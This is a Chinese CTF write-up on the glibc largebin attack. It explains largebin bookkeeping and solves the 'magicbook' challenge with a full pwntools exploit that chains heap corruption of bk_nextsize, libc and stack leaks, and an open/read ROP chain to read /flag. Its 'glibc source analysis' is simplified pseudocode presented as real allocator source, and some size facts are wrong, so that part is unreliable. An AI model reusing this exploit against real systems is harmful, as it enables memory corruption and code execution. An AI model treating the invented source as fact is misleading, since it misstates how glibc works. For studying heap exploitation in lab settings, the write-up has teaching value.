常回家看看之largebin_attack

常回家看看之largebin_attack

先简单介绍一下什么是largebin

largebin 是 glibc 的 malloc 实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中,largebinbin 系列的一部分,用于存储大小超过某个阈值的空闲内存块。largebin 的设计目标是提高内存管理的效率,并减少内存碎片。

简单点就是用来管理较大的堆块的

  • 起始大小:largebin 管理的内存块大小从 smallbin 范围的最大值 + 1 开始。具体来说,smallbin 的最大块大小是 512 字节,因此 largebin 的起始大小是 513 字节。
  • 无上限:largebin 的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的 largebin 中。
  • 当有较大堆块被释放的时候,先进入unsortbin,再次进行分配的时候,如果有合适的,则将堆块分割,剩下的部分仍然进入unsortbin,如果没有合适的则进入largebin

largebin和其他bin的区别

**  在 largebin 中,每个大块内存块除了标准的双向链表指针 fd(forward)和 bk(backward)外,还包含额外的指针 fd_nextsizebk_nextsize。这些指针的作用如下:**

  • fdbk:指向当前链表中前后相邻的内存块,用于维护基本的双向链表。
  • fd_nextsizebk_nextsize:指向按大小排序的前后相邻内存块,用于维护按大小排序的链

作用:

  • fd_nextsize:指向当前内存块大小相同或更大的下一个内存块。
  • bk_nextsize:指向当前内存块大小相同或更小的前一个内存块。

这种结构允许 largebin 维护两条链表:一条是按插入顺序排列的链表(使用 fdbk 指针),另一条是按大小排序的链表(使用 fd_nextsizebk_nextsize 指针)。

Large Bin 的插入顺序:

  • 按大小排序:首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
  • 按释放时间排序:对于大小相同的块,按它们被释放的时间顺序进行排序。先释放的块排在前面。
  • fd_nextsizebk_nextsize 指针:
  • 对于多个大小相同的堆块,只有第一个块(即首堆块)的 fd_nextsizebk_nextsize 指针指向其他块。
  • 后续相同大小的堆块的 fd_nextsizebk_nextsize 指针均为 0。

循环链表:

  • 大小最大的块的 bk_nextsize 指向大小最小的块。
  • 大小最小的块的 fd_nextsize 指向大小最大的块。

原理:

  • Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (fdbk),还包含指向相同大小块的指针 (fd_nextsizebk_nextsize)。
  • 当一个内存块被释放后,它会被放入适当的 bin 中。如果是大块,则放入 Largebin。
  • 当分配新的内存块时,glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中,按大小排序的链表有助于快速找到合适的块。
  • 攻击者可以通过伪造指针,特别是 bk_nextsize,来控制内存分配器的行为,从而实现任意地址写入。

glibc 源码分析

1.当一个块被释放并符合 Largebin 条件时,会被放入 Largebin 中。以下是 glibc 中 mallocfree 操作的相关部分:

void _int_free(mstate av, mchunkptr p) {
    // ... other code ...

    // Determine the bin to use
    if (chunk_in_largebin_range(size)) {
        // Add to Largebin
        mchunkptr bck = largebin[bin_index];
        mchunkptr fwd = bck->fd;
        
        p->bk = bck;
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;
        
        // Update nextsize pointers
        mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
        while (next_chunk != NULL && chunksize(next_chunk) < size) {
            next_chunk = next_chunk->fd_nextsize;
        }
        p->fd_nextsize = next_chunk;
        p->bk_nextsize = next_chunk->bk_nextsize;
        next_chunk->bk_nextsize = p;
        next_chunk->fd_nextsize = p;
    }

    // ... other code ...
}

2. 修改 bk_nextsize

我们需要找到一种方式修改 Largebin 中块的 bk_nextsize 字段。

chunk1->bk_nextsize = Target - 0x20;

3. 分配新块触发攻击

当分配一个新的块时,glibc 会尝试找到合适的块进行分配。在这个过程中,伪造的 bk_nextsize 会被用来更新指针,导致任意地址写入。

void* _int_malloc(mstate av, size_t bytes) {
    // ... other code ...

    if (bytes > MAX_SMALLBIN_SIZE) {
        // Check Largebin
        mchunkptr victim = largebin[bin_index];
        
        if (victim != NULL) {
            // Remove from Largebin
            mchunkptr bck = victim->bk;
            mchunkptr fwd = victim->fd;
            
            bck->fd = fwd;
            fwd->bk = bck;
            
            // Update nextsize pointers
            mchunkptr next_chunk = victim->fd_nextsize;
            next_chunk->bk_nextsize = victim->bk_nextsize;
            victim->bk_nextsize->fd_nextsize = next_chunk;
            
            // Allocate the chunk
            set_inuse_bit_at_offset(victim, bytes);
            return chunk2mem(victim);
        }
    }

    // ... other code ...
}

**通过上周的比赛题目可以很好的介绍largebin_attack

题目地址:****https://buuoj.cn/match/matches/207/challenges#magicbook**

题目保护情况:没有开canary保护

64位ida逆向

存在3个功能,一个一个看

add,申请堆块大小和数量都有限制

free,不仅存在UAF,而且还有任意堆块数据部分+8处0x18字节写的功能

edit,如果book处的地址很大存在栈溢出

沙箱保护

思路:通过largebin_attack,将book处的地址变成一个较大的数据(头指针),然后通过栈溢出,orw读取数据

1.申请0x450,0x440,0x440(防止合并)大小的三个堆块

2.释放第一个堆块(此时进入unsortbin)

3.申请一个比第一个堆块大的堆块(此时进入largebin)

4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')

success('puts--->'+hex(libc.sym['system']))

io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060


def add(size):
    io.sendlineafter('Your choice:','1')
    io.sendlineafter('your book need?',str(size))


def free0(index,ch,msg):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','y')
    io.sendlineafter('you want to write?',str(ch))
    io.sendafter('content: ',msg)

def free1(index):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','n')

def edit():
    io.sendlineafter('Your choice:','3')



book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863  + elf_base # : pop rdi; ret; 
pop_rsi = 0x0000000000001861  + elf_base  #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1

#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)

edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')

pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret; 
syscall = 0x0000000000091316 + libc_bass#: syscall; ret; 
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']

payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack  = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt) 
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)

io.interactive()

总结:

Largebin Attack 利用条件和步骤

利用条件:

  1. 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。

  2. 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。

利用步骤:

  1. 分配堆块:

    • 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1

    • 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。

    • 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1chunk2 紧邻 chunk1

    • 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。

  2. 释放并重新分配:

    • 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。

    • 确保 chunk2 紧邻 chunk1

    • 释放 chunk2 进入 unsortedbin。

  3. 修改指针:

    • 修改 chunk1->bk_nextsizeTarget - 0x20
  4. 触发攻击:

    • 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。